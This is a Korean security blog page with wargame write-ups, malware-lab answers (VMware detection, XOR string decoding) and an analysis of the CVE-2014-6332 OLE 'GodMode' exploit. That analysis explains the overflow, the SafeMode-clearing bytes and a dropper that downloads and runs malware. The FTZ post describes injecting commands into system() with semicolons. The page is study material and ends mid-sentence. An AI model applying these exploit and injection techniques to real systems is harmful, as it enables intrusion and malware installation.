2016. 7. 30. 09:07 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr 문제풀이를 시작합니다.

회원가입부터 문제라더군요 ㅎㅎ

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

아래의 URL로 접속합니다.

URL : http://webhacking.kr/

아래와 같은 창이 나타납니다. 로그인 버튼 외에는 어떤것도 존재하지 않습니다.

회원가입부터 문제의 시작이군요!

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

로그인을 시도할 때 공백일 경우 리턴되는것 외에는 별다른 점을 찾지 못했습니다.

 

하지만 아랫부분으로 더 내려가면 아래와 같이 주석처리된 부분을 발견할 수 있습니다.

버튼인데, 누르게 되면 특정 URL로 가는것 같습니다.

해당 URL을 현재 주소와 합칩니다.

URL : http://webhacking.kr/join/includ2_join__frm__0001.php?mode=b4c23ed5d4dd8888c6f6b57158305276

 

저는 이미 회원가입을 했기 때문에 다시 해보면 경고창이 뜨네요.

 

아래와 같은 회원가입 페이지가 나타났습니다.

"decode me" 라고 적힌 부분이 있는데, 살펴보니 끝이 "==" 문자열로 끝나는걸로 보아선

base64로 디코딩 된것 같네요.

온라인으로 URL을 디코딩할 수 있는 사이트들이 있으니 찾아서 디코딩 해줍니다.

 

한번 디코딩을 해주니 또다른 디코딩 문자가 나옵니다.

디코딩이 완전 해제될때까지 3번 디코딩을 해주면, 본인 PC의 IP가 나옵니다.

모두 적어주소, 회원가입을 마칩니다.

 

회원가입이 끝났습니다. 본격적으로 홈페이지로 접속해봅니다.

 

아래와 같은 메인페이지에 접속합니다.

본격적인 문제풀이를 시작해볼까요?

posted by Red_Message

안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 6-1을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 기초 동적 분석

------------------------------------------------------------------------------------------------------------------------------------------

문제풀이에 앞서 간단한 동적 분석을 진행합니다.

먼저 Imprt 함수 목록을 살펴보면 아래와 같이 Kernel32와 WININET 2개가 존재합니다.

WININET은 HTTP 프로토콜과 상호작용할 수 있도록 해주며

임포트 하고 있는 InternetGetConnectedState는 로컬 시스템의 인터넷 연결 상태를 확인하는 API입니다.

 

StringWindow(Shitft+F12)에서도 해당 API가 사용하는 "Success : Internet Connection" 문자열을 발견할 수 있습니다.

 

이제 해당 악성코드(?)를 실행시켜보면 위에서 파악한 문구가 출력됨을 확인할 수 있습니다.

 

Tip. PE 파일 영역

-------------------------------------------------------------------------------------

위 String Window를 살펴보면 WININET.dll 에서 사용하는 String의 .data 섹션이고

나머지는 .rdata 섹션에 있는것을 발견할 수 있습니다.

궁금증에 생겨 각 섹션에 내용을 정리합니다.

 

 

.text : CPU가 실행하는 명령어를 담고 있다. 일반적으로 실행 가능한 코드를 포함하는 유일한 섹션.

.data : 프로그램의 초기화된 전역 데이터를 저장하는데, 프로그램의 어디에서든지 접근 가능함. 읽기/쓰기 가능

.rdata : 프로그램 내의 전역에서 접근 가능한 읽기 전용 데이터를 담고 있음.

.bss : 프로그램의 초기화 되지 않은 전역 변수들을 위한 섹션. 가상주소공간에 매핑될 경우 보통 .data 섹션에 병합됨.

.idata : 존재 시 임포트 함수 정보를 저장하고 있으며, 존재하지 않는다면 .rdata 섹션 내의 임포트 함수 정보에 저장

.edata : 존재 시 익스포트 함수 정보를 저장하고 있으며, 존재하지 않는다면 .rdata 섹션 내의 익스포트 함수 정보에 저장

.pdata : 64비트 실행 파일에만 존재하며, 예외 처리 정보를 저장

.rsrc : 실행 파일에 필요한 리소스를 저장

.reloc : 라이브러리 파일 재배치 정보

-------------------------------------------------------------------------------------

 

------------------------------------------------------------------------------------------------------------------------------------------

1. Main이 호출하는 서브루틴만으로 발견한 주요 코드 구조는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

Main의 코드는 아래와 같습니다.

가장 눈에 띄는 것은 [ call sub_401000 ] 명령어입니다.

아마 Sub 함수이니 eax에 리턴값이 저장되어 있을겁니다.

전 문제에서 Tip으로 기재한 부분이었는데, 이번 문제에서 또 보니 복습이 되네요.

따라서 eax값을 mov문으로 변수 var_4에 담은 이후에 cmp문을 이용하여

loc_401056 또는 loc_40105B 루틴으로 분기를 하는 내용입니다.

 

 

사실 코드로 보니 한눈에 안들어오는 경향이 있습니다.

아래와 같이 Graph 모드로 보면 좀더 이해하기 쉽습니다.

근데 이번 챕터가 아니었으면, 이러한 Graph 구조가 if문 구조라는 사실을 잘 몰랐을 것 같네요.

 

이를 Hex-ray 기능을 이용하여 보면 아래와 같이 간단한 구조임을 알 수 있습니다.

약간 의아했던 점은, sub_401000()의 결과 값을 담았던 var_4 변수가 없다는 점입니다.

 

궁금해서 상세 보기를 했더니, 스택상에서는 [ebp-4] 주소에 할당되어 있었습니다. (이미 변수 이름이 var_4 지만요)

아마 명시적인 선언은 하지 않았지만, if문 안에 sub루틴이 있다보니

true false를 판단하기 위해 스택에 공간이 할당된것 같습니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 0x40105F에 위치한 서브루틴은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

0x40105F에 위치한 서브루틴은 아래와 같습니다.

어떤 기능을 해야 하는지 알아보려면 call 위에 push 되는 인자값들을 알아야 합니다.

IDA가 표현해주는 arg 값을 통해 유추가 가능하지만 직관적으로 잘 파악이 안됩니다.

 

해당 부분을 올리디버거로 보면 이해하기가 수월합니다.

Call 하기 전에 넣어주는 인자값이 "Success..." 문자열입니다.

또한 하이라이트 처리된 Call 명령어를 수행하고 나면 CMD창에 해당 문자열이 출력됩니다.

 

이를 보았을때 0x40105F에 위치한 서브루틴의 기능은 Printf로 볼 수 있습니다.

하지만 IDA Pro 상용버전과 무료버전 모두 항상 printf를 인식해 명명하지 않는다고 하니

push되는 문자열의 끝부분에 라인피드 문자  "\n"  를 캐치하여 printf 함수임을 예측할 수 있어야 합니다.

해당 함수에 printf 라고 레이블을 달아주면 그 다음부터는 이해하기 쉬워지겠죠?

분명 5-1 문제에서 rename을 배웠는데, 이런 부분은 분석을 수월히 해내기 위해 습관화 되어야 할 것 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

3. 이 프로그램의 목적은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

인터넷 연결의 활성 여부를 확인한 후 확인 결과를 출력하는 프로그램입니다.

악성코드가 사용할법한 API이니 기억해둡니다!

 

posted by Red_Message
2016. 7. 24. 03:09 :: 취약점

안녕하세요 Message입니다.

오늘은 OLE 자동화 배열 취약점 분석을 주제로 포스팅하려 합니다.

초보자의 시각으로 OLE 취약점이 존재하는 웹페이지를 분석하는 글이므로,

삽질 또는 잘못된 내용이 있더라도 너그럽게 봐주시기 바랍니다.

 

 

실습환경은 Windows7 / IE / VMware 환경 입니다.

 

---------------------------------------------------------

1. OLE 자동화 배열 취약점이란?

---------------------------------------------------------

해당 취약점(CVE-2014-6332)은  IE 환경에서 발생하는 취약점 으로서,

갓모드에 진입하여 악성코드를 유포할 수 있는 취약점입니다.

 

Tip. 갓모드(GodMode)

OLE 취약점에서 갓모드는 무엇이든 할 수 있는 상태를 말합니다.

예를 들면, SafeMode에 의해 차단되는 아래와 같은 Shell Code가 동작할 수 있게됩니다.

  ex) set sh=createobject("Shell.Application")

SafeMode 뿐만 아니라 ASLR, DEP, EMET, DFI 등의 보호기술들이 다 소용없게 됩니다.

우리가 보편적으로 알고 있는 갓모드는 윈도우 OS(7, 8.1, 10)에서

아래 그림처럼 제어판의 확장인데, 혼동하면 안되겠습니다.

 

 

---------------------------------------------------------

2. 취약점 발생 원인

---------------------------------------------------------

취약점의 발생 원인은 IE에서 OLE 객체를 처리하는 과정에서 발생합니다.

OLEAUT32.dll 내부의 SafeArrayRedim() API에서 VBScript 배열의 크기를 변경하는 과정에서

충분한 에러처리를 수행하지 않아 버퍼오버플로우가 발생하게 됩니다.

OLE 취약점 발생 원인이나 동작 원리는 보안업체 블로그 등에서 상세히 확인할 수 있으며,

여기서는 실제 OLE 취약점이 존재하는 웹페이지를 살펴봅니다.

취약점에 대한 개념을 먼저 익히시고 보시면 이해하시는데 편하실겁니다.

 안랩 보안이슈 : 갓모드(GodMode) 공격의 시작, 제로데이 익스플로잇

 http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=1&menu_dist=2&seq=23225

 

 

---------------------------------------------------------

3. 스크립트 살펴보기

---------------------------------------------------------

 

1) 전반부 : 역순으로 나열된 스크립트

OLE 취약점이 존재하는 웹페이지의 특징은 역순으로 배열되어 있는 스크립트 입니다.

이러한 특징은 분석가가 한눈에 알아보기 힘들게 만들기도 하지만

흔하지 않은 특징이라면, 보안솔루션의 탐지 시그니처가 될 수 있습니다.

아래의 그림을 참고하시면, 8~9라인에서부터 역순으로 배열된 스크립트를 볼 수 있습니다.

 

2) 중반부 : 난독화된 스크립트

엄청난 길이의 난독화 되어 있는 스크립트가 나열되어 있습니다.

이걸 복호화 하려면 제실력으로는 힘들것 같습니다.

초보인 저는 다른 방법을 강구해 보아야 겠죠?

 

3) 후반부 : VBScript

난독화된 스크립트를 지나서, 후반부는 VBScript로 구성되어 있습니다.

대부분은 함수의 선언으로 이루어져 있으며

전반부의 스크립트를 실행시키는 코드가 좀더 아랫부분에 존재합니다. (현재 그림에는 안보임)

 

 

---------------------------------------------------------

4. VBScript 스크립트 분석

---------------------------------------------------------

 

1) 역순으로 나열된 스크립트 재배열

이렇게 역순으로 나열된 스크립트를 분명 어디선가 다시 정상적으로 재배열 후에

스크립트를 적용시켜야 정상적으로 동작할겁니다.

그렇다면 textarea 태그에 지정되어 있는 ID값 lshdic200Xpage을 어디선가 사용할겁니다.

분석 초기부터 해당 ID값을 이용하여 추적했다면 좀더 빠른 분석이 가능했겠지만

저는 처음엔 이상한 문자열이네.. 생각하고 그냥 넘어갔더랬습니다.. (삽질++)

 

id값으로 스크립트의 문자열을 검색하면 StrReverse() 함수를 이용하여 텍스트를 역순으로 되돌리고

document.write() 함수를 이용하여 스크립트를 실행시키는 부분을 찾을 수 있습니다.

본래 화면에 문자열을 보이게 만드는 함수지만 스크립트 실행 용도로 사용 가능합니다.

 

정상으로 돌리는 부분을 찾아냈으니 역순으로 배열된 코드를 볼 방법은 여러가지가 생겼습니다.

단순히 document 함수를 alert()로 띄어보는 방법이 있고,

파이썬의 reversed() 함수 또는 for문을 이용해도 간단히 정상 코드를 볼 수 있습니다.

정상코드로 복원하여 alert() 함수로 띄운 내용은 아래와 같습니다.

 

 

 

2) SafeMode 해제, 갓모드로 진입

팝업창의 내용을 살펴보면 Begin() 이라는 함수의 내용입니다.

아래 그림처럼, VBScript가 있었던 후반부에서 Begin() 함수를 실행시킵니다.

사실, 후반부는 함수의 선언이 대부분이고, 한줄 적혀있는 Begin() 실행이 다입니다.

우리가 팝업으로 띄운 스크립트가 사실상 메인의 역할을 하고 있다고 보면 됩니다.

 Tip. 앞으로 등장할 VBScript 문법

 1. <script> </script> : VBscript는 단일 웹페이지에서 여러 개의 <script> </script> 문단을 가질 수 있습니다.

 2. dim arr(num) : 배열선언 / 주의점 : arr(10)으로 선언했을 경우 11개의 배열요소를 가짐(0부터 10까지)

 3. redim Preserve arr(5) : 배열 크기 변경, Preserve 명령 사용 시 이전 배열값은 유지

 4. Sub 서브루틴이름(매개변수) ... End Sub : 반환값 없는 함수

 5. Function 함수이름(매개변수) ... End Function : 반환값 있는 함수 / 함수이름 = 반환값

 6. For start=시작값 to 종료값 step 증감 : 반복횟수를 알고있는 경우 반복문 / 빠져나오려면 exit for 사용

 7. inStr() : 주어진 문자열에서 특정 문자열을 찾아서 그 위치를 반환 / 찾지 못하면 0 값을 반환

 8. IsObject() : 유효한 ActiveX 또는 OLE 자동화 객체를 참조하는지 여부 반환 / Trure or False

 9. cInt() : 인자로 전달된 값을 integer형으로 반환

 10. varType(변수) : 변수의 타입을 상수로 반환 / 부동소수점의 경우 반환값은 4

 11. randomize(number) : number를 사용하여 Rnd 난수 발생기를 초기화하고 새 시드값을 제공

 12. rnd(number) : 0보다 크고너 같고 1보다 작은 난수 값 반환, number의 값은 난수 발생 방법 결정

                                - num < 0 : number를 시드로 하여 매번 같은 수

                                - num > 0 : 순차적으로 생성되는 그 다음의 난수

                                - num = 0 : 가장 최근에 생성한 난수

                                - num = x : 순차적으로 생성되는 그 다음의 난수

 

 

3) Begin 파헤치기(1)

Begin() 함수의 내용을 본격적으로 살펴봅니다. 

먼저 위쪽의 내용을 살펴보면 Navigetor.UserAgent로 얻어낸 값을 instr() 함수를 이용하여

사용자 PC의 WIn64 여부와 IE환경이 맞는지 체크하고 있습니다.

info에 어떤 값이 담기는지 궁금해서 출력해보았습니다.

 

 

이후 BeginInit()과 Create() 함수를 연달아 호출합니다.

각 함수의 역할은 아래와 같습니다.

--------------------------------------------------------------------------------------------------------

1. BeginInit()

- 버퍼오버플로우를 일으키기 위한 배열 2개와 변수 초기화

- aa(5) : OLE취약점 발생시키기 위한 배열1

- ab(5) : OLE취약점 발생시키기 위한 배열2

- a0 : 랜덤초기화 후에, 숫자를 계속 높이며 취약점 발생 조건을 찾는데 사용

- a3 : 랜덤초기화 후에, a0를 계속 증가시키는 증감변수로 사용

 

2. Create()

- 내부의 Over() 함수를 이용하여 취약점 조건 만듬

- 배열 aa와 ab가 8바이트 간격으로 동적 할당 되어 취약점이 발생할 때까지 반복

--------------------------------------------------------------------------------------------------------

 

 

 

Create() 함수 내부에는 Over() 함수가 존재합니다.

해당 함수의 내용은 아래와 같습니다.

 Over()

 - Begininit()에서 초기화한 배열 2개(aa, ab)를 이용하여 취약점을 발생시킴

 - aa배열과 ab배열이 8바이트 차이를 두고 동적 할당 될 경우 취약점 발생 조건이 만족됨

 - redim을 통한 aa의 배열 재할당은 실패하지만, VBScript의 배열 정보가 담긴 SAFEARRAY구조체에서는 확장된 크기값이 저장됨 

 - intVersion 값이 대부분 높으므로 아랫부분의 else 이후에 초점을 맞춰서 해석 진행

 - aa(a1)의 VarType을 체크할 경우, ab(0)에 할당한 부동소수점(1.123456...) 값이 결과값으로 반환됨 => 취약점 발생 성공

 

 

취약점이 발생하려면 aa와 ab가  8바이트를 두고 동적 할당이 되어야 합니다. 

그런데 조건 상태가 복잡하여 표로 나타내 보았습니다.

 a0 = 1 + a3(=2) = 3  / a0는 BeginInit()에서 13+@로 할당됨

 a1 = 3 + 2 = 5

 a2 = a0(=1) + h8000000

 a3 = 2(증감연산자)  / a3는 BeginInit()에서 7+@로 할당됨

위 조건대로 진행될 경우 아래와 같이 type1=h2f66이 성립되어 Over=True가 됩니다.

 

 

4) Begin 파헤치기(2)

Over() 함수를 통하여 취약점이 발생되는 조건을 달성한 뒤에는

VBScript에서 파일생성과 cmd 명령어 실행 등을 자유롭게 수행할 수 있도록

IE의 보호모드(SafeMode)를 해제하는 setnotsafemode() 함수를 실행시킵니다.

해당 함수를 실행시키기 이전에 정상적인 값에 덮어 씌울 myarray 값을 초기화 합니다.

myarray값은 SAFEARRAY구조체의 값에 SafeMode 플래그인 0x1E를 0으로 바꾸어 놓는 값입니다.

-----------------------------------------------------------------

-> 01 00 80 08 01 00 00 00 00 00 00 00 00 00 00 00

-> 00 00 FF 7F 00 00 00

-----------------------------------------------------------------

 

 

setnotsafemode() 함수의 처음에 mydata() 함수를 실행시키게 되는데

아래와 같이 배열을 할당하고, 아무 기능을 수행하지 않는

더미 함수(=testaa)의 주소값을 리턴합니다.

 

여기서 i=teataa를 할당하고 바로 아래에서 null을 할당한 것을 보고 멘붕이 왔습니다.

검색해보니 VBScript에서 Function Object의 주소를 얻는게 불가능하다고 하더군요.

그래서 나온 꼼수가 바로 이것입니다.

i=testaa 구문을 만나면 testaa 값이 스택에 쌓입니다.

이후에 i에 할당하려 하지만 오류가 발생합니다.

그리고 "On Error Resume Next" 구문에 의하여 다음라인의 i=null을 만나게 됩니다.

하지만 i의 값이 null로 대체 되는것이 아니라 스택에 쌓인 인자값,

즉 testaa의 주소값에 vt 플래그만 0x01(null)로 대체 된다고 합니다.

결국은 i에 Function Object Address가 할당됩니다 :)

 

아래는 해외 사이트에서 이것을 테스트한 것을 일부 가져왔습니다.

null을 할당하자 vt 플래그만 대체되어 04350001이 되고, 결국 testaa의 주소값을 나타내게 됩니다.

URL : http://www.secniu.com/how-to-use-vbscript-to-turn-on-the-god-mode/

 

mydata()에서 설정하는 값의 배치가 어려워서 표로 나타내면 아래와 같습니다.

aa(a1), aa(a1+2)의 값과 타입에 값을 입력한 것을 알 수 있습니다.

해당 설정들은 이후에 실행할 readmemo()와 setnotsafemode()의 나머지 부분에서 사용됩니다.

 

 

4) Begin 파헤치기(3)

이제 safemode를 해제할 일만 남았습니다. 하지만 여기서 분석이 안되는 부분이 있었습니다.

 

- 첫번째 의문점입니다.

안랩 보안이슈에서 공개된 내용을 보게 되면

--------------------------------------------------------------------------------------------------------

"기본적으로 IE는 특정한 조건 하에서만 VBScript가 실행되도록 제한하며,

VBScript를 실행하기 전에 OleScript 객체 안에 있는 세이프모드를 확인"

--------------------------------------------------------------------------------------------------------

그렇다면 세이프모드를 해제하기 전까지 실행되고 있는 VBScript는 왜 실행되고 있는것인가?

이 부분에대해서 위의 URL의 초반부에 이러한 내용과 함께 예제가 있더군요.

 

한마디로 Shell.Application과 같은 Create Object 함수의 경우 SafeMode에 의해서 차단된다는...

그래서 아래와 같이 간단히 테스트해본 결과 MsgBoX는 띄워진 반면,

계산기 프로그램은 실행되지 않았습니다.

즉, SafeMode를 해제하는 평범한(?) 스크립트는 Script Engine이 SafeMode를 체크하지 않는다는 결론입니다.

 

 

- 두번째 의문점

CScriptEntryPoint 주소가 왜 더미 Sub에서 8바이트 떨어진 곳에 위치하냐는 점입니다.

아직 왜 그러한지 알아내지 못했습니다. 조금 더 연구가 필요할 것 같습니다.

원래 그런것이니 그렇다고 하면 초보 분석가인 저는 그저 상처받을뿐

이부분에 아시는분은 댓글을 남겨주시면 감사하겠습니다.

 

 

5) 갓모드 진입 후 어떤 행위가..?

갓모드로 진입한 이후에는 runmumaa() 함수를 통하여 원하는 소스코드를 실행시킵니다.

실행흐름을 따라가 보면 아래 그림처럼

runmumaa()는 runurl()을 호출하고

runurl()에서 흐름이 끊기는것처럼 보입니다.

 

하지만 alert() 함수로 for문이 끝난 후에 runurl을 출력해보면

아래와 같이 rechange(t) 함수를 document.write()함수를 통해 실행시키는 것을 볼 수 있습니다. 

 

rechange() 함수에 넘어가는 인자값 t와 난독화가 해제된 문자열을 출력해보면

중반부에 나오는 난독화된 문자열이 드디어 모습을 드러냅니다.

 

 

위의 스크립트의 내용을 정리하면 아래와 같습니다.

---------------------------------------------------------------------------------------------------------------------

1. TEMP 경로에 uninst.gif.vbs 파일 생성 및 echo 기능으로 내용 작성

2. cmd 콘솔에서 vbs 파일을 실행시킬 수 있는 cscript.exe 기능을 이용하여 작성한 vbs 실행

3. 파일명과 인자값 2개(URL, 파일경로) 넘김

4. Get명령어를 이용하여 URL에 접근 후 악성코드 다운로드

5. 악성코드 실행

---------------------------------------------------------------------------------------------------------------------

일단 OLE취약점이 발생하게 되어 SafeMode가 해제되게 되면

이후의 행동은 위에서 분석한 shell 실행 말고도 다양한 행동이 가능할 겁니다.

하지만 이러한 케이스를 많이 접할수록 악성행위들의 패턴에 대해 인지하는데 도움이 많이 될 것 같습니다.

 

 

---------------------------------------------------------

5. 마치며

---------------------------------------------------------

생각보다 포스팅이 길어졌습니다.

분석이라는 것이 개발분야를 알아야 좀더 수월하다는걸 다시 알게됩니다.

중간중간 제가 봐도 이해안되는 문맥의 단절과 설명되지 않는 부분이 많은 것 같습니다...

그럼에도 긴글 읽어주셔서 감사합니다.

틀린점이나 부족한 점은 언제든지 댓글 달아주세요. 감사합니다.

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

 

posted by Red_Message

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

------------------------------------------------------------------------------------------------------------------------------------------

13. DllMain이 직접 호출하는 윈도우 API 함수는 몇 개인가? (두번째 깊이에서)

------------------------------------------------------------------------------------------------------------------------------------------

DllMain이 호출하는 API를 알아보기 위해 DllMain에서 [Xrefs from] 기능을 실행했더니 어마어마한 결과가 나왔습니다.

그래서 문제에서 두번째 깊이에서 하라고 했구나..싶었습니다.

 

깊이를 설정하기 위해 [View-Graphs-User xrefs chart] 를 선택합니다.

이후에 아래와 같이 설정해줍니다. 깊이는 DllMain 자신을 제외하고 "1"로 설정합니다.

 

이후에 아래와 같은 결과를 얻을 수 있습니다.

예전에 막무가내로 분석할때는 막대한 차트량을 보고 그냥 꺼버렸는데,

책을 통해 차근차근 보니 배를 냅두고 수영했다는 생각이 드네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

14. 0x10001358에서 Sleep 호출이 존재한다. (sleep까지 수밀리초 값을 파라미터로 갖는 API)

      코드 후반부를 보면 이 코드가 수행되려면 프로그램이 얼마동안 sleep하는가?

------------------------------------------------------------------------------------------------------------------------------------------

해당주소로 가보면 아래와 같은 코드가 나옵니다.

sleep함수를 실행하기 위해 eax 인자값을 받고있습니다.

eax값이 무엇인지 알아내기 위해 eax값에 관여하는 명령어들을 살펴보겠습니다.

10001341 mov eax, off_10019020 : 주소값 10019020에서 eax에 "[This is CTI]30" 문자열을 할당합니다.

10001346 add eax, 0Dh : eax의 값에 0Dh(13)을 더합니다. 앞에 있는 "[This...]" 값을 지나 30을 가리키게 합니다.

1000134A call ds:atoi : 문자열 30을 숫자로 바꿉니다.

10001350 imul eax, eE8h : eax에 저장된 30에 3E8h(1,000)을 곱합니다.

즉, 정리하면 30,000 밀리초 = 30초 를 기다리게합니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

15. 0x10001701에서 소켓을 호출한다. 세 가지 파라미터는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

해당주소로 가보면 아래와 같은 코드가 나옵니다.

socket에 들어가는 값은 6, 2, 1 값입니다.

MSDN에 들어가 해당 상수값이 의미하는바를 찾아보려 했는데

문제의 출제 의도는 이 상수값을 확인하라는 것이 아닙니다.

다음 문제에서 나머지를 다룹니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

16. 소켓과 IDA Pro에서 명명한 심볼 상수 기능을 이용해 이 파라미터를 좀 더 유용하게 가능?

      변경 후 파라미터는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

각 숫자를 오른쪽 클릭해서 Use Symbolic Constant를 선택하면 IDA Pro에서

특정 값을 갖는 모든 상수 리스트를 나열한 대화상자가 나타납니다.

해당값들에서 문자열을 입력하면 자동으로 검색이 됩니다.

값을 찾아 지정하면 아래와 같이 변경된 인자들을 확인할 수 있습니다.

조금더 유용해진건 사실이지만, 함수에 따라 상수값을 자동으로 넣어주는 기능이 있었으면 좋겠네요.

있는데 제가 모를 확률이 큽니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

17. 명령어 옵코드 0xED의 사용법을 찾아보자. 이 명령어는 VMware 탐지를 수행하는 VMXh

      매직 문자열로 사용한다. 이 악성코드는 이를 이용하고 있는가?

      VMware를 탐지하는 다른 증거가 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

먼저 OPCODE중의 하나인 0xED의 사용법에 대해 찾아보았습니다.

검색에서 명확한 답을 찾기 힘들어서, 가지고 있는 어셈블리언어 책을 참고하였습니다.

-------------------------------------------------------------------------------------------------

IN : Input from Port

- 포트에서 한 바이트나 워드를 AL 또는 AX로 입력한다.

- 소스 피연산자는 포트 주소로서 8비트 상수나 DX내에 16비트 주소로 표현된다.

- IA-32에서는 더블워드가 포트를 통해 EAX에 입력될 수 있다.

- 명령어 형식 : IN accum, imm 또는 IN accum, DX

-------------------------------------------------------------------------------------------------

사실 읽고도 이해가 잘 안갔습니다.

갑자기 포트 얘기가 나오면서 첫번째 멘붕이었고

이것이 VMware 탐지를 수행하는 매직문자열 VMXh 문자열과 무슨 상관이 있는건지...

이해가 안되자 계속 IN명령어와 0xED에 대해 검색했지만, 명쾌한 답을 찾지 못하여 생각을 달리하였습니다.

VMware 탐지 우회에 대한 내용으로 검색하자 관련 내용이 나오더군요

내용에 대해 알고싶으신 분들을 위해 블로그 URL을 남깁니다. (URL : http://goo.gl/BvFjJF)

 

간단히 정리하자면, "VMXh" 문자열은 VM을 탐지하기 위한 다양한 방법들중 하나입니다.

원리는 가상머신 환경에서 Guest와 Host 간의 통신채널 확인입니다.

Intel x86 환경에서 I/O 작업을 수행하기 위해서는 IN OUT 명령어를 사용하며

"VMHx" 문자열은 가상머신 환경에서 IN 명령어에 의해 생성되는 Host와 Guest간의 고유한 통신 채널을 의미합니다.

 

이제 왜 IN명령어를 쓰고, "Vmxh" 문자열을 사용하는지 알았으니,

해당 명령어와 문자열이 있는지 검색해보겠습니다.

[Search-text] 를 선택하여 문자열 0xED를 검색합니다.

 

생각보다 결과값이 많이나옵니다. 문자열을 입력하면 바로 검색기능이 활성화 되므로

"in"을 입력하면 아래와 같이 우리가 원하는 라인을 찾을 수 있습니다.

 

더블클릭하면 아래와 같은 프로시져가 나오게 되며, 100061C7부터

아랫부분 In명령어를 이용한 Vmware 환경 탐지 부분이 나옵니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

18. 0x1001D988로 점프해보자. 무엇을 찾을 수 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

해당주소로 가보면 아래와 같은 무작위 문자열이 나옵니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

19. IDA 파이썬 플러그인을 설치했다면 Lab05-01.py를 실행해보자.

      IDA 파이썬 스크립트는 이 책의 악성코드와 함께 제공한다.

      (커서가 0x1001D988에 위치해야 함) 스크립트 실행 후 무슨 일이 일어났는가?

21. 문자 편집기로 스크립트를 열어보자. 어떻게 동작하는가?

------------------------------------------------------------------------------------------------------------------------------------------

파이썬 코드는 문제 폴더에 Lab-01.py 이름으로 포함되어 있습니다.

커서의 현재 위치를 sea 변수에 저장한뒤, 0x00 ~ 0x50 까지 루프를 돌며 XOR 연산을 수행합니다.

 

0x1001D988에 커서를 두고 [File-Script File]을 선택하면 아래와 같이 문자열이 변경됩니다.

  

 

------------------------------------------------------------------------------------------------------------------------------------------

20. 동일한 위치에 커서를 두고 이 데이터를 ASCII 문자열로 어떻게 변환할 수 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

문자열이 시작하는 주소에 커서를 두고 단축키 "A" 를 누르면 아래와 같이 아스키 문자열로 변환됩니다.

 

 

 

posted by Red_Message
2016. 7. 21. 22:04 :: 문제풀이/Hacker School

 ||| Chapter 03 :: system() 함수의 위험성 |||

 

 

안녕하세요. Message입니다. Lv3 달립니다!

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 접속

Level3에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level3 / can you fly?

autodig라는 파일의 소스라는 말과 함께 해당 소스를 이용하여 level4의 권한을 얻으라고 합니다.

그리고 2개의 힌트를 더주었군요

+힌트1) 동시에 여러 명령어를 사용하려면?

+힌트2) 문자열 형태로 명령어를 전달하려면?

 

2) dig / nslookup

dig는 nslookup과 같은 명령어지만, 유닉스 계열에 탑재된 명령어 입니다.

사용방법은  dig @DNS서버IP 도메인  입니다.

이렇게보면 잘 알 수 없으니 KT DNS서버를 이용하여 질의해봅니다.

결과값은 아래와 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 공격대상 찾기

주어진 autodig 소스코드를 분석해보면 아래와 같은 행위를 합니다.

1) 사용자 입력을 받고, 인자가 2개가 아니면 오류를 출력한다.

2) "dig @"를 cmd로 복사하고, 나머지 인자들을 strcat() 함수를 이용하여 이어붙힌다.

3) 마지막에 " version.bind chaos txt" 문자열을 이어붙힌다.

4) system() 명령어를 이용하여 dig 동작을 수행한다.

 

이제 동작의 흐름을 알았으니 본격적으로 공격을 어떻게 할 것인지 궁리합니다.

일단 지금까지 배운게 있으니, find 명령어를 이용하여 Level4의 권한을 가진 파일을 찾아봅니다.

아래와 같은 결과값이 나왔습니다.

 

2) 공격대상 파일 기능 분석

해당 소스파일이 dig명령어와 동일한 기능을 수행하는지 살펴봅니다.

아래와 같이 결과값이 동일한 것을 알 수 있습니다.

  

 

3) 공격

원본 소스코드가 힌트로 제공되었으므로 별도의 리버싱 과정을 거치지 않고

system() 함수를 이용한 공격을 시도해보았습니다.

유닉스 계열은 세미콜론(;)을 이용하면 여러개의 명령어를 수행할 수 있습니다.

예를들어 세미콜론을 이용하여 id값을 두번 출력하고 싶다면 아래와 같이 하면 됩니다.

 

이와같은 원리를 이용하여 소스코드 내부에서 실행되는 system() 함수에

여러개의 명령어를 입력해보고자 시도해보았습니다.

아래와같이 ip값을 인자로 넘겨준뒤 세미콜론을 이용하여 id명령어를 입력하였고,

SQL Injection의 원리처럼 뒤에 값은 샾(#)을 이용하여 주석처리 해보았습니다.

 

하지만 이상하게 Level이 3으로 나오더군요

곰곰히 생각해보니 세미콜론을 붙이면 해당 소스코드의 system() 함수에 전달되는것이 아니라,

"/bin/autodig 16.126.63.1" 까지만 system() 함수로 실행되고

